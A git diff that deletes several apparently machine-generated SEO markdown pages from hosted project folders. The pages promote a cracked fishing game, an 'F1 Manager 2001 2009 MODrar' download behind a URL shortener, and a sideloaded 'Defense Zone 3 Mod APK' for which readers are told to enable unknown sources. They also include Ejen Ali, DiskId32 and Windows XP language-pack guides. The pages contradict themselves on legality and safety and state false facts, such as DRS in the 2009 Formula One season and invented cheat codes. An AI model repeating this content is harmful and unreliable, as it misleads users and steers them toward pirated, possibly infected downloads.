-<p>An ECG consists of several waves and segments that reflect the depolarization and repolarization of the cardiac muscle cells during each cardiac cycle. The main waves are P, Q, R, S, and T. The P wave represents the depolarization of the atria, the QRS complex represents the depolarization of the ventricles, and the T wave represents the repolarization of the ventricles. The segments are the intervals between the waves. The PR segment represents the delay between atrial and ventricular depolarization, the ST segment represents the plateau phase of ventricular repolarization, and the TP segment represents the resting phase of the cardiac cycle. </p>
-<p>To obtain a complete picture of the electrical activity of the heart from different angles, an ECG is recorded using 12 leads or views. These leads are divided into two groups: limb leads and chest leads. The limb leads are derived from electrodes placed on the arms and legs and measure the electrical potential in the frontal plane. The chest leads are derived from electrodes placed on specific locations on the chest wall and measure the electrical potential in the horizontal plane. Each lead has a positive and a negative pole and records the difference in voltage between them. </p>
-<p>The standard 12-lead ECG consists of six limb leads (I, II, III, aVR, aVL, aVF) and six chest leads (V1 to V6). The limb leads are also called bipolar leads because they have two distinct poles. The chest leads are also called unipolar leads because they have only one positive pole and a common negative pole. The 12-lead ECG provides information on the rate, rhythm, axis, amplitude, duration, morphology, and sequence of cardiac events. It can also detect abnormalities such as ischemia, injury, infarction, hypertrophy, enlargement, conduction defects, arrhythmias, electrolyte disturbances, drug effects, and pacemaker function. </p> e753bf7129<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar Download and Play the Ultimate Racing Simulation.md b/spaces/tialenAdioni/chat-gpt-api/logs/F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar Download and Play the Ultimate Racing Simulation.md
deleted file mode 100644
index 1df64c628d9d5cb407fe285046d92d9c24b11032..0000000000000000000000000000000000000000
--- a/spaces/tialenAdioni/chat-gpt-api/logs/F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar Download and Play the Ultimate Racing Simulation.md	
+++ /dev/null
@@ -1,165 +0,0 @@
-<br />
-<h1>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar - How to Download and Play This Classic Game with Modern Updates</h1>
-
-<p>If you are a fan of Formula One racing and management games, you might have heard of F1 Manager 2001, a game developed by Intelligent Games and published by Electronic Arts in 2000. This game lets you take control of a Formula One team and compete in the 2000 season, with realistic graphics, physics, sounds and gameplay.</p>
-<h2>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar</h2><br /><p><b><b>Download</b> &#10022; <a href="https://urlcod.com/2uK9o8">https://urlcod.com/2uK9o8</a></b></p><br /><br />
-
-<p>But what if you want to play this game with the latest drivers, teams, tracks and rules of Formula One? What if you want to experience the thrill of managing a team in the 2009 season, which saw the debut of Brawn GP, the dominance of Jenson Button and Sebastian Vettel, and the return of Michael Schumacher?</p>
-
-<p>Well, you can do that with F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar, a mod that updates the game with the 2009 season data and features. This mod adds new drivers, teams, tracks, sponsors, logos, cars, engines, tyres and rules to the game, making it more realistic and challenging. You can also customize your own team and driver names, colours and helmets.</p>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a great way to enjoy this classic game with modern updates. You can download and play this mod for free from various websites on the internet. Here are some of the benefits of downloading and playing F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar:</p>
-<p>Download F1 Manager Windows<br />
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-
-<ul>
-<li>You can play a classic game with high quality graphics and sound on your Windows 10 PC.</li>
-<li>You can manage a Formula One team in the 2009 season, which was one of the most exciting and unpredictable seasons in history.</li>
-<li>You can choose from a variety of teams and drivers, including Brawn GP, Red Bull Racing, Ferrari, McLaren, Mercedes-Benz, BMW Sauber, Renault, Toyota, Williams, Force India and Toro Rosso.</li>
-<li>You can race on 17 tracks around the world, including new ones like Abu Dhabi, Singapore and Valencia.</li>
-<li>You can experience the new rules and regulations of Formula One in 2009, such as KERS (Kinetic Energy Recovery System), DRS (Drag Reduction System), slick tyres and refuelling ban.</li>
-</ul>
-
-<p>Downloading and playing F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is easy and fun. You just need to follow these simple steps:</p>
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-<ol>
-<li>Download F1 Manager (Windows) - My Abandonware from <a href="https://www.myabandonware.com/game/f1-manager-gyj">here</a> and install it on your PC.</li>
-<li>Download F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar from <a href="https://soundcloud.com/klancysouisi1/f1-manager-2001-ea-sports-with-2009-modrar">here</a> or any other website that offers this mod.</li>
-<li>Extract the mod files to the F1 Manager folder on your PC.</li>
-<li>Run the game and enjoy F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar.</li>
-</ol>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that will make you fall in love with F1 Manager 2001 again. It is a mod that will challenge your skills and knowledge as a Formula One manager. It is a mod that will give you hours of fun and entertainment. Download F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar today and start your own Formula One adventure.</p>
-<h2>What are the Features of F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar?</h2>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that adds many features and improvements to the original game. Here are some of the features of F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar:</p>
-
-<ul>
-<li>It updates the game with the 2009 season data and features, such as drivers, teams, tracks, sponsors, logos, cars, engines, tyres and rules.</li>
-<li>It allows you to customize your own team and driver names, colours and helmets.</li>
-<li>It improves the graphics and sound of the game, making it more realistic and immersive.</li>
-<li>It fixes some bugs and glitches of the original game, such as crashes, freezes and errors.</li>
-<li>It adds some new options and settings to the game, such as difficulty levels, weather conditions and race lengths.</li>
-</ul>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that enhances the gameplay and replay value of F1 Manager 2001. It is a mod that makes the game more fun and challenging. It is a mod that will make you feel like a real Formula One manager.</p>
-
-<h2>How to Install F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar?</h2>
-
-<p>Installing F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is very easy and simple. You just need to follow these simple steps:</p>
-
-<ol>
-<li>Download F1 Manager (Windows) - My Abandonware from <a href="https://www.myabandonware.com/game/f1-manager-gyj">here</a> and install it on your PC.</li>
-<li>Download F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar from <a href="https://soundcloud.com/klancysouisi1/f1-manager-2001-ea-sports-with-2009-modrar">here</a> or any other website that offers this mod.</li>
-<li>Extract the mod files to the F1 Manager folder on your PC.</li>
-<li>Run the game and enjoy F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar.</li>
-</ol>
-
-<p>Installing F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is quick and easy. You don't need any special skills or tools to install this mod. You just need a few minutes and a few clicks to install this mod.</p>
-
-<h2>Frequently Asked Questions about F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar</h2>
-
-<p>Here are some of the frequently asked questions about F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar:</p>
-
-<dl>
-<dt>Is F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar compatible with Windows 10?</dt>
-<dd>Yes, F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is compatible with Windows 10. You can run this mod on your Windows 10 PC without any problems or issues.</dd>
-
-<dt>Is F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar safe to download and play?</dt>
-<dd>Yes, F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is safe to download and play. This mod does not contain any viruses, malware or spyware that can harm your PC or steal your personal information. This mod also does not modify or overwrite any files of the original game, so you can uninstall it anytime without affecting the original game.</dd>
-
-<dt>Is F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar legal to download and play?</dt>
-<dd>Yes, F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is legal to download and play. This mod is not a pirated or illegal version of the game. This mod is a fan-made modification that updates the game with the 2009 season data and features. This mod does not violate any copyrights or trademarks of Electronic Arts or Formula One Management.</dd>
-
-<dt>Can I play online or multiplayer with F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar?</dt>
-<dd>No, you cannot play online or multiplayer with F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar. This mod is only for single-player mode. You can play against the computer or against yourself in this mod.</dd>
-</dl>
-
-<p>If you have any other questions or queries about F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar, you can contact the mod creators or other players on various websites or forums that offer this mod. They will be happy to help you with any issues or queries that you may have.</p>
-<h2>What are the Advantages and Disadvantages of F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar?</h2>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that has many advantages and disadvantages. Here are some of the advantages and disadvantages of F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar:</p>
-
-<h3>Advantages</h3>
-
-<ul>
-<li>It updates the game with the latest data and features of Formula One in 2009, making it more realistic and challenging.</li>
-<li>It improves the graphics and sound of the game, making it more immersive and enjoyable.</li>
-<li>It adds some new options and settings to the game, such as difficulty levels, weather conditions and race lengths, giving you more control and variety.</li>
-<li>It allows you to customize your own team and driver names, colours and helmets, giving you more creativity and personalization.</li>
-<li>It is free to download and play, giving you a great value for money.</li>
-</ul>
-
-<h3>Disadvantages</h3>
-
-<ul>
-<li>It may not be compatible with some versions or patches of the original game, causing some errors or crashes.</li>
-<li>It may not work well with some antivirus or firewall software, causing some warnings or blocks.</li>
-<li>It may not be easy to install or uninstall, requiring some technical skills or tools.</li>
-<li>It may not be supported or updated by the mod creators or other players, causing some bugs or glitches.</li>
-<li>It may not be legal or ethical to download and play, violating some copyrights or trademarks of Electronic Arts or Formula One Management.</li>
-</ul>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that has its pros and cons. You need to weigh them carefully before downloading and playing this mod. You need to make sure that you have the right version and patch of the original game, that you have a good internet connection and a reliable device, that you follow the installation and uninstallation instructions carefully, that you scan the mod files for any viruses or malware, that you respect the rights and interests of the game makers and artists, and that you have fun and enjoy the game.</p>
-
-<h2>Conclusion</h2>
-
-<p>F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar is a mod that brings new life to an old game. It updates the game with the latest data and features of Formula One in 2009. It improves the graphics and sound of the game. It adds some new options and settings to the game. It allows you to customize your own team and driver names, colours and helmets. It is a mod that makes the game more realistic and challenging.</p>
-
-<p>If you want to play F1 Manager 2001 with the 2009 season data and features, you don't have to buy a new game or subscribe to a streaming platform. You can download F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar from various websites on the internet and enjoy it on your device. You can download F1 MANAGER 2001 EA SPORTS WITH 2009 MODrar for free from various websites on the internet.</p>
-
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diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/Fishing Sim World Full Crack Tips and Tricks for Mastering the Game.md b/spaces/tialenAdioni/chat-gpt-api/logs/Fishing Sim World Full Crack Tips and Tricks for Mastering the Game.md
deleted file mode 100644
index 455b6491aef672aeb2bc645cd0df9689b76868a2..0000000000000000000000000000000000000000
--- a/spaces/tialenAdioni/chat-gpt-api/logs/Fishing Sim World Full Crack Tips and Tricks for Mastering the Game.md	
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-<li>Customize your own angler and boat with various clothing and accessories.</li>
-<li>Play solo or with up to four friends online in multiplayer modes.</li>
-<li>Compete in tournaments and leaderboards against other players from around the world.</li>
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-<p>Fishing Sim World full crack has many benefits that make it a great choice for fishing enthusiasts and gamers alike. Some of these benefits are:</p>
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-<p>Fishing Sim World full crack is easy to play, but hard to master. You will need to learn how to use your equipment, how to cast, how to reel, how to fight, and how to land your fish. You will also need to know how to read the water, how to choose the right spot, how to select the right bait or lure, and how to adapt to the changing conditions. Here are some tips on how to play Fishing Sim World full crack:</p>
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diff --git a/spaces/ticomspire/turkey-syria-earthquake-tweets/logs/Defense Zone 3 HD Mod APK A Must-Have Game for Tower Defense Fans.md b/spaces/ticomspire/turkey-syria-earthquake-tweets/logs/Defense Zone 3 HD Mod APK A Must-Have Game for Tower Defense Fans.md
deleted file mode 100644
index 484f5233606dee4c1ca6fa6eee6fb2d17e6e3773..0000000000000000000000000000000000000000
--- a/spaces/ticomspire/turkey-syria-earthquake-tweets/logs/Defense Zone 3 HD Mod APK A Must-Have Game for Tower Defense Fans.md	
+++ /dev/null
@@ -1,115 +0,0 @@
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-<h1>Defense Zone 3 Mod APK: A Tower Defense Game with New Weapons, Landscapes, and Options</h1>
- <p>If you are a fan of tower defense games, you might have heard of Defense Zone 3, a popular action/strategy game that challenges you to defend your base from hordes of enemies using various types of turrets. But did you know that there is a mod apk version of this game that gives you unlimited money and resources to buy and upgrade your turrets, as well as access to new weapons, landscapes, and options? In this article, we will tell you everything you need to know about Defense Zone 3 Mod APK, including how to download and install it on your Android device, how to play it, tips and tricks for winning, pros and cons, and FAQs.</p>
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-<li>Enable unknown sources on your device settings. To do this, go to Settings > Security > Unknown Sources and toggle it on. This will allow you to install apps from sources other than the Google Play Store.</li>
-<li>Download the mod apk file from a trusted source. You can find many websites that offer mod apk files for various games, but make sure you choose one that is safe and reliable. For example, you can download Defense Zone 3 Mod APK from [this link](^1^).</li>
-<li>Locate and install the mod apk file on your device. Once you have downloaded the file, go to your file manager and find the folder where you saved it. Tap on the file and follow the instructions to install it on your device.</li>
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- <p>Congratulations! You have successfully installed Defense Zone 3 Mod APK on your Android device. Now you can enjoy playing this amazing tower defense game with unlimited money and resources.</p>
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- <p>Playing Defense Zone 3 Mod APK is very similar to playing the original version of the game. The core of the game is still the same: entire armies of enemies are trying to destroy your base, and you have to stop them by building and upgrading your turrets. However, with the mod apk version, you have some advantages that make the game more fun and exciting. Here are the steps to play Defense Zone 3 Mod APK:</p>
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-<li>Choose a difficulty level and a map. There are four difficulty levels to choose from: easy, normal, hard, and very hard. Each level has different enemy types, numbers, and behaviors. There are also 21 maps to choose from, each with different seasons and landscapes. You can unlock any map using a cheat code that we will reveal later in this article.</li>
-<li>Build and upgrade your turrets to defend your base from enemy waves. There are eight types of turrets in the game, each with different features and functions. You can build and upgrade them using the unlimited money and resources that you get from the mod apk version. You can also sell or move your turrets if you want to change your strategy. The turrets are:   <ul>
-  <li>Machine gun: A basic turret that fires bullets at a fast rate. Good for dealing with light enemies.</li>
-  <li>Cannon: A powerful turret that fires explosive shells at a slow rate. Good for dealing with heavy enemies.</li>
-  <li>Flamethrower: A turret that shoots flames at a short range. Good for dealing with groups of enemies.</li>
-  <li>Laser: A turret that emits a continuous beam of energy at a long range. Good for dealing with fast enemies.</li>
-  <li>Rocket launcher: A turret that launches rockets that deal splash damage at a medium range. Good for dealing with clusters of enemies.</li>
-  <li>Plasma: A turret that shoots plasma balls that pierce through enemies at a medium range. Good for dealing with armored enemies.</li>
-  <li>Freeze: A turret that slows down enemies with ice crystals at a short range. Good for supporting other turrets.</li>
-  <li>Tesla: A turret that electrocutes enemies with lightning bolts at a long range. Good for dealing with multiple enemies.</li>
-  </ul>
-</li>
-<li>Use special abilities and weapons to boost your defense. In addition to the turrets, you can also use some special abilities and weapons that can help you in difficult situations. These include:   <ul>
-  <li>Air strike: A button that calls an air strike that bombs the entire map, killing or damaging all enemies.</li>
-  <li>Nuke: A button that launches a nuclear missile that destroys everything on the map, including your turrets.</li>
-  <li>Mine: A button that places a mine on the ground that explodes when an enemy steps on it.</li>
-  <li>Sniper: A button that activates a sniper mode that allows you to shoot enemies with a rifle.</li>
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-</li>
-</ol>
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-<li>Combine different types of turrets to create a balanced defense. Each turret has its own strengths and weaknesses, so you should use them wisely and strategically. For example, you can use machine guns and cannons to deal with light and heavy enemies respectively, while using flamethrowers and rocket launchers to deal with groups of enemies. You can also use freeze and tesla turrets to slow down and stun enemies, while using laser and plasma turrets to deal with fast and armored enemies.</li>
-<li>Use the optimal target option to minimize turret turning time. Each turret has an option to choose its target priority, such as nearest, farthest, strongest, weakest, or random. You should choose the option that suits your turret type and position best, so that it can fire more efficiently and effectively. For example, you can use nearest or farthest for machine guns and cannons, strongest or weakest for laser and plasma, and random for flamethrowers and rocket launchers.</li>
-<li>Use the game speed slider to adjust the pace of the game. The game has a slider that allows you to change the speed of the game from 0.5x to 4x. You can use this feature to slow down or speed up the game according to your preference and situation. For example, you can use 0.5x or 1x when you want to plan your strategy or enjoy the graphics, or use 2x or 4x when you want to finish the level faster or challenge yourself more.</li>
-</ul>
- <h2>Pros and Cons of Defense Zone 3 Mod APK</h2>
- <p>Like any other game, Defense Zone 3 Mod APK has its pros and cons. Here are some of them:</p>
- <table>
-<tr>
-<th>Pros</th>
-<th>Cons</th>
-</tr>
-<tr>
-<td>Unlimited money and resources to buy and upgrade turrets</td>
-<td>Some turrets may glitch and stop firing</td>
-</tr>
-<tr>
-<td>Stunning graphics and sound effects</td>
-<td>Some levels may be too easy or too hard for some players</td>
-</tr>
-<tr>
-<td>Varied seasons and landscapes to enhance the gameplay experience</td>
-<td>None</td>
-</tr>
-</table>
- <p>As you can see, the pros of Defense Zone 3 Mod APK outweigh the cons, making it a great game to play for tower defense lovers.</p>
- <h2>Conclusion and FAQs</h2>
- <p>In conclusion, Defense Zone 3 Mod APK is a tower defense game with new weapons, landscapes, and options that make it more fun and exciting than the original version. You can download and install it on your Android device easily and enjoy playing it with unlimited money and resources. You can also use some tips and tricks to improve your gameplay and performance. However, you should also be aware of some glitches and difficulties that may occur in some cases. Overall, Defense Zone 3 Mod APK is a game that we recommend you to try if you are looking for a challenging and thrilling tower defense game.</p>
- <p>Here are some FAQs that you may have about Defense Zone 3 Mod APK:</p>
- <ol>
-<li><b>What is the difference between Defense Zone 3 HD and Defense Zone 3 Ultra HD?</b><br>The difference between Defense Zone 3 HD and Defense Zone 3 Ultra HD is the quality of the graphics. Defense Zone 3 HD has lower resolution graphics than Defense Zone 3 Ultra HD, which has higher resolution graphics. However, Defense Zone 3 Ultra HD also requires more storage space and processing power than Defense Zone 3 HD, so you should choose the version that suits your device best.</li>
-<li><b>How can I unlock any level using a cheat code?</b><br>To unlock any level using a cheat code, you need to go to the main menu of the game and tap on the settings icon. Then, tap on the cheat code option and enter the code "DZ3UNLOCK". This will unlock all the levels in the game for you to play.</li>
-<li><b>How can I access the extra menu in the game?</b><br>To access the extra menu in the game, you need to go to the main menu of the game and tap on the settings icon. Then, tap on the extra menu option and enter the code "DZ3EXTRA". This will open a new menu that allows you to change some settings of the game, such as the enemy health, the turret damage, the turret range, and the turret cost.</li>
-<li><b>How can I contact the developer of the game?</b><br>To contact the developer of the game, you can visit their official website [here] or their Facebook page [here]. You can also send them an email at support@defensezone.net or leave a comment on their Google Play Store page [here].</li>
-<li><b>Is Defense Zone 3 Mod APK safe to download and install?</b><br>Yes, Defense Zone 3 Mod APK is safe to download and install as long as you get it from a trusted source. However, you should always be careful when downloading and installing any mod apk file from unknown sources, as they may contain viruses or malware that can harm your device or steal your data. You should also check the permissions that the mod apk file requests before installing it, and only grant them if they are necessary for the game to function properly.</li>
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-<p>If you are a fan of the Malaysian animated series Ejen Ali, you might want to try out the mobile game based on it. Ejen Ali Agents Arena is a 3v3 battle arena game that lets you choose from different characters, each with their own unique skills and abilities. You can challenge and cooperate with other players in various maps and modes, and capture multiple bases to defeat your enemies. In this article, we will show you how to download APK Ejen Ali Agents Arena for both Android and iOS devices, as well as some tips on how to play the game.</p>
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- <h2>What is Ejen Ali Agents Arena?</h2>
-<h3>A brief introduction to the game and its features</h3>
-<p>Ejen Ali Agents Arena is a mobile game developed by Media Prima Digital, the same company that brought you the hit game Ejen Ali Emergency. It is based on the popular Malaysian animated series Ejen Ali, which follows the adventures of a young boy who becomes a secret agent after accidentally activating a spy device. The game features a 3v3 battle arena mode, where you can choose from a multitude of agents, each with their own unique attributes and skill sets. You can also collect and unlock new upgrades to strengthen your agents' abilities and skills. The game has various maps, characters, and game modes that will keep you entertained for hours.</p>
- <h3>The benefits of playing the game</h3>
-<p>Playing Ejen Ali Agents Arena is not only fun, but also beneficial for your brain. Here are some of the benefits of playing the game:</p>
-<ul>
-<li>It improves your strategic thinking and decision making skills. You have to plan your moves carefully and coordinate with your teammates to capture the bases and defeat your opponents.</li>
-<li>It enhances your memory and concentration skills. You have to remember the different agents' skills and abilities, as well as the layout of the maps and the locations of the bases.</li>
-<li>It boosts your creativity and imagination skills. You can create your own team of agents, customize their appearance, and use their skills in different ways.</li>
-<li>It increases your social skills and communication skills. You can chat with other players, make new friends, and join a community of fans.</li>
-</ul>
- <h2>How to Download APK Ejen Ali Agents Arena for Android Devices</h2>
-<h3>The steps to download and install the game from Google Play Store</h3>
-<p>If you have an Android device, you can easily download and install Ejen Ali Agents Arena from Google Play Store. Here are the steps:</p>
-<ol>
-<li>Open Google Play Store on your device.</li>
-<li>Search for "Ejen Ali Agents Arena" or use this link .</li>
-<li>Tap on "Install" and wait for the download to finish.</li>
-<li>Tap on "Open" or find the game icon on your home screen or app drawer.</li>
-<li>Enjoy playing Ejen Ali Agents Arena!</li>
-</ol <h3>The steps to download and install the game from APKCombo</h3>
-<p>If you have an Android device, you can also download and install Ejen Ali Agents Arena from APKCombo, a website that provides APK files for various apps and games. Here are the steps:</p>
-<ol>
-<li>Open your browser and go to [APKCombo] or use this link .</li>
-<li>Search for "Ejen Ali Agents Arena" or use this link .</li>
-<li>Tap on "Download APK" and choose the version and size that suits your device.</li>
-<li>Wait for the download to finish and tap on the file to install it.</li>
-<li>You may need to enable "Unknown sources" in your device settings to allow the installation.</li>
-<li>Find the game icon on your home screen or app drawer and tap on it.</li>
-<li>Enjoy playing Ejen Ali Agents Arena!</li>
-</ol>
- <h3>The tips to ensure a smooth and safe installation</h3>
-<p>Downloading and installing Ejen Ali Agents Arena from APKCombo is easy, but you should also follow some tips to ensure a smooth and safe installation. Here are some tips:</p>
-<ul>
-<li>Make sure you have enough storage space on your device before downloading the game.</li>
-<li>Check the ratings and reviews of the game on APKCombo to see if other users have any issues or complaints.</li>
-<li>Scan the APK file with an antivirus app before installing it to avoid any malware or viruses.</li>
-<li>Update the game regularly to get the latest features and bug fixes.</li>
-</ul>
- <h2>How to Download APK Ejen Ali Agents Arena for iOS Devices</h2>
-<h3>The steps to download and install the game from App Store</h3>
-<p>If you have an iOS device, you can easily download and install Ejen Ali Agents Arena from App Store. Here are the steps:</p>
-<ol>
-<li>Open App Store on your device.</li>
-<li>Search for "Ejen Ali Agents Arena" or use this link .</li>
-<li>Tap on "Get" and wait for the download to finish.</li>
-<li>Tap on "Open" or find the game icon on your home screen or app library.</li>
-<li>Enjoy playing Ejen Ali Agents Arena!</li>
-</ol>
- <h3>The tips to ensure a smooth and safe installation</h3>
-<p>Downloading and installing Ejen Ali Agents Arena from App Store is easy, but you should also follow some tips to ensure a smooth and safe installation. Here are some tips:</p>
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-<li>Update the game regularly to get the latest features and bug fixes.</li>
-</ul>
- <h2>How to Play Ejen Ali Agents Arena</h2>
-<h3>The basic gameplay and controls</h3>
-<p>Ejen Ali Agents Arena is a 3v3 battle arena game, where you have to capture multiple bases and defeat your enemies. You can choose from different agents, each with their own unique skills and abilities. You can also collect and unlock new upgrades to strengthen your agents' abilities and skills. The game has various maps, characters, and game modes that will keep you entertained for hours.</p>
- <p>The game has simple and intuitive controls. You can move your agent by using the virtual joystick on the left side of the screen. You can use your agent's skills by tapping on the buttons on the right side of the screen. You can also switch between different agents by tapping on their icons at the bottom of the screen. You can capture a base by standing near it for a few seconds. You can win a match by capturing more bases than your opponents or by eliminating all of them.</p>
- <h3>The different agents and their skills</h3>
-<p>Ejen Ali Agents Arena has a variety of agents, each with their own unique skills and abilities. You can choose from four categories of agents: Attack, Defense, Support, and Specialist. Here are some examples of agents and their skills:</p>
- <table border="1">
-<tr><th>Name</th><th>Category</th><th>Skill 1</th><th>Skill 2</th></tr>
-<tr><td>Ejen Ali</td><td>Attack</td><td>I.R.I.S: Shoots a laser beam that deals damage to enemies in a straight line.</td><td>M.A.T.A Shield: Creates a shield that absorbs damage for a short duration.</td></tr <tr><td>Ejen Alicia</td><td>Defense</td><td>Bubble Gun: Shoots bubbles that slow down enemies and deals damage.</td><td>Bubble Shield: Creates a bubble that protects allies from damage and heals them over time.</td></tr>
-<tr><td>Ejen Bakar</td><td>Support</td><td>Flame Thrower: Shoots a stream of fire that deals damage and burns enemies over time.</td><td>Fire Wall: Creates a wall of fire that blocks enemies and damages them if they touch it.</td></tr>
-<tr><td>Ejen Comot</td><td>Specialist</td><td>Slime Ball: Shoots a ball of slime that deals damage and sticks to enemies, slowing them down.</td><td>Slime Trap: Creates a trap of slime that immobilizes enemies who step on it.</td></tr>
-</table>
- <p>You can find more agents and their skills in the game. You can also upgrade your agents' skills by using coins and gems, which you can earn by playing the game or by purchasing them with real money.</p>
- <h3>The strategies and tips to win the game</h3>
-<p>Ejen Ali Agents Arena is a game that requires teamwork and strategy. Here are some strategies and tips to win the game:</p>
-<ul>
-<li>Pick a balanced team of agents, with different categories and skills. You should have at least one attack, one defense, and one support agent in your team.</li>
-<li>Communicate with your teammates, using the chat or voice chat feature. You can coordinate your moves, plan your attacks, and warn each other of dangers.</li>
-<li>Capture the bases as soon as possible, and defend them from your enemies. You can use your skills to secure the bases, or to disrupt your enemies' capture.</li>
-<li>Use the environment to your advantage. You can hide behind obstacles, use shortcuts, or find power-ups to boost your performance.</li>
-<li>Know your agents' strengths and weaknesses, and use them accordingly. You should know when to attack, when to retreat, and when to use your skills.</li>
-</ul>
- <h2>Conclusion</h2>
-<h3>A summary of the main points and a call to action</h3>
-<p>Ejen Ali Agents Arena is a fun and exciting mobile game that lets you play as your favorite characters from the Ejen Ali animated series. You can download and install the game for both Android and iOS devices, using Google Play Store, App Store, or APKCombo. You can also enjoy the game's features, such as the 3v3 battle arena mode, the different agents and their skills, and the various maps and game modes. You can also improve your brain skills, such as strategic thinking, memory, concentration, creativity, imagination, social skills, and communication skills. If you are looking for a game that is entertaining, challenging, and rewarding, you should try Ejen Ali Agents Arena today!</p>
- <h2>FAQs</h2>
-<h3>What are the system requirements for Ejen Ali Agents Arena?</h3>
-<p>The system requirements for Ejen Ali Agents Arena are as follows:</p>
-<ul>
-<li>For Android devices: Android 5.0 or higher, 2 GB of RAM or more, 500 MB of free storage space or more.</li>
-<li>For iOS devices: iOS 10.0 or higher, iPhone 5S or newer, iPad Air or newer, iPod Touch 6th generation or newer.</li>
-</ul>
- <h3>Is Ejen Ali Agents Arena free to play?</h3>
-<p>Ejen Ali Agents Arena is free to download and play. However, it also offers in-app purchases that allow you to buy coins and gems, which you can use to upgrade your agents' skills or unlock new agents. You can also watch ads to earn free coins and gems.</p>
- <h3>Can I play Ejen Ali Agents Arena offline?</h3>
-<p>No, you cannot play Ejen Ali Agents Arena offline. You need an internet connection to play the game, as it is a multiplayer online game that requires you to connect with other players.</p>
- <h3>How can I get more coins and gems in Ejen Ali Agents Arena?</h3>
-<p>You can get more coins and gems in Ejen Ali Agents Arena by doing the following:</p>
-<ul>
-<li>Playing the game regularly and completing missions and achievements.</li>
-<li>Watching ads that offer free coins and gems as rewards.</li>
-<li>Purchasing coins and gems with real money using in-app purchases.</li>
-</ul>
- <h3>How can I contact the developers of Ejen Ali Agents Arena?</h3>
-<p>You can contact the developers of Ejen Ali Agents Arena by using the following methods:</p>
-<ul>
-<li>Email: support@mediaprima.com.my</li>
-<li>Facebook: https://www.facebook.com/ejenali/</li>
-<li>Instagram: https://www.instagram.com/e jenali/</li>
-<li>Twitter: https://twitter.com/ejen_ali</li>
-</ul>
- <p>I hope you found this article helpful and informative. If you have any questions or feedback, feel free to leave a comment below. Thank you for reading and happy gaming!</p> 197e85843d<br />
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diff --git a/spaces/tioseFevbu/cartoon-converter/scripts/Diskid32 Download.md b/spaces/tioseFevbu/cartoon-converter/scripts/Diskid32 Download.md
deleted file mode 100644
index eca2460b35291386b7007bb154a845bd5c939229..0000000000000000000000000000000000000000
--- a/spaces/tioseFevbu/cartoon-converter/scripts/Diskid32 Download.md	
+++ /dev/null
@@ -1,35 +0,0 @@
-<br />
-<h1>How to Download and Use DiskId32 to Read Hard Drive Information</h1>
-<p>DiskId32 is a free utility that allows you to read the manufacturer's information from your hard drives. It can help you identify the model, serial number, firmware version, and other details of your disks. DiskId32 is a Win32 console application that runs on Windows 9X, NT, 2000, and XP (Pro/Home). It does not work on DOS or Windows 3.x.</p>
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-<pre>
-DiskID v1.5
-Written by Lynn McGuire
-Copyright (c) 1998 - 2007
-WinSim Inc.
-http://www.winsim.com
-
-Drive 0:
-Model Number: WDC WD10EZEX-08WN4A0
-Serial Number: WD-WCC6Y4KJZLZL
-Firmware Revision: 02.01A02
-Drive Size: 1000204886016 bytes
-
-Drive 1:
-Model Number: ST1000DM003-9YN162
-Serial Number: Z1D4QW8C
-Firmware Revision: CC4B
-Drive Size: 1000204886016 bytes
-</pre>
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deleted file mode 100644
index 65210f47465d1d90677758d304bc8841f8c90567..0000000000000000000000000000000000000000
--- a/spaces/tioseFevbu/cartoon-converter/scripts/GoneMAD Music Player FULL V2.2.19 [Latest] TOP.md	
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diff --git a/spaces/tioseFevbu/cartoon-converter/scripts/Language Packs For Windows XP Service Pack 3  260 MB.md b/spaces/tioseFevbu/cartoon-converter/scripts/Language Packs For Windows XP Service Pack 3  260 MB.md
deleted file mode 100644
index 0774be6bd58eb431da8eb2f56a28122349cd0b3c..0000000000000000000000000000000000000000
--- a/spaces/tioseFevbu/cartoon-converter/scripts/Language Packs For Windows XP Service Pack 3  260 MB.md	
+++ /dev/null
@@ -1,31 +0,0 @@
-<br />
-<h1>How to Install Language Packs for Windows XP Service Pack 3</h1>
-<p>Windows XP Service Pack 3 (SP3) is the final update for the Windows XP operating system. It includes security and performance improvements, as well as support for more languages. If you want to use Windows XP in a different language than the one you have installed, you can download and install a language pack from Microsoft.</p>
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-<li>Double-click the downloaded file to start the installation wizard. Follow the instructions on the screen to complete the installation.</li>
